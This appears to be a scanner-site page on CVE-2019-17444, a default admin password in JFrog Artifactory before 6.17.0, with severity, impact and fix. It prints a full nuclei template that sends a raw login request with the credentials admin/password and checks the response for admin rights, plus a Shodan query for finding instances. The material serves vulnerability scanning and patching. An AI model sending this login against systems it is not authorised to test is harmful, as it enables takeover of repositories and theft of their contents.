Jfrog Artifactory <6.17.0 - Default Admin Password

criticalseverity

9.8CVSS score

69.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory.

Impact

An attacker can gain unauthorized access to the Jfrog Artifactory instance.

Fix

Upgrade Jfrog Artifactory to version 6.17.0 or later and change the default admin password to a strong, unique one.

How to confirm it

Send: POST {{path}}/ui/auth/login
Positive when: contains "\"name\":\"admin\"" and "\"admin\":true" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17444 -u <target>

The full check

id: CVE-2019-17444

info:
  name: Jfrog Artifactory <6.17.0 - Default Admin Password
  author: pdteam
  severity: critical
  description: |
    Jfrog Artifactory prior to 6.17.0 uses default passwords (such as "password") for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory.
  impact: |
    An attacker can gain unauthorized access to the Jfrog Artifactory instance.
  remediation: |
    Upgrade Jfrog Artifactory to version 6.17.0 or later and change the default admin password to a strong, unique one.
  reference:
    - https://www.jfrog.com/confluence/display/JFROG/Artifactory+Release+Notes
    - https://www.jfrog.com/confluence/display/JFROG/JFrog+Artifactory
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17444
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17444
    cwe-id: CWE-521
    epss-score: 0.69445
    epss-percentile: 0.99367
    cpe: cpe:2.3:a:jfrog:artifactory:*:*:*:*:*:-:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: jfrog
    product: artifactory
    framework: "-"
    shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory"
  tags: cve,cve2019,jfrog,default-login,vuln

http:
  - raw:
      - |
        POST {{path}}/ui/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}

        {"user":"admin","password":"password","type":"login"}

    attack: clusterbomb
    payloads:
      path:
        - ""
        - "/artifactory"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name":"admin"'
          - '"admin":true'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from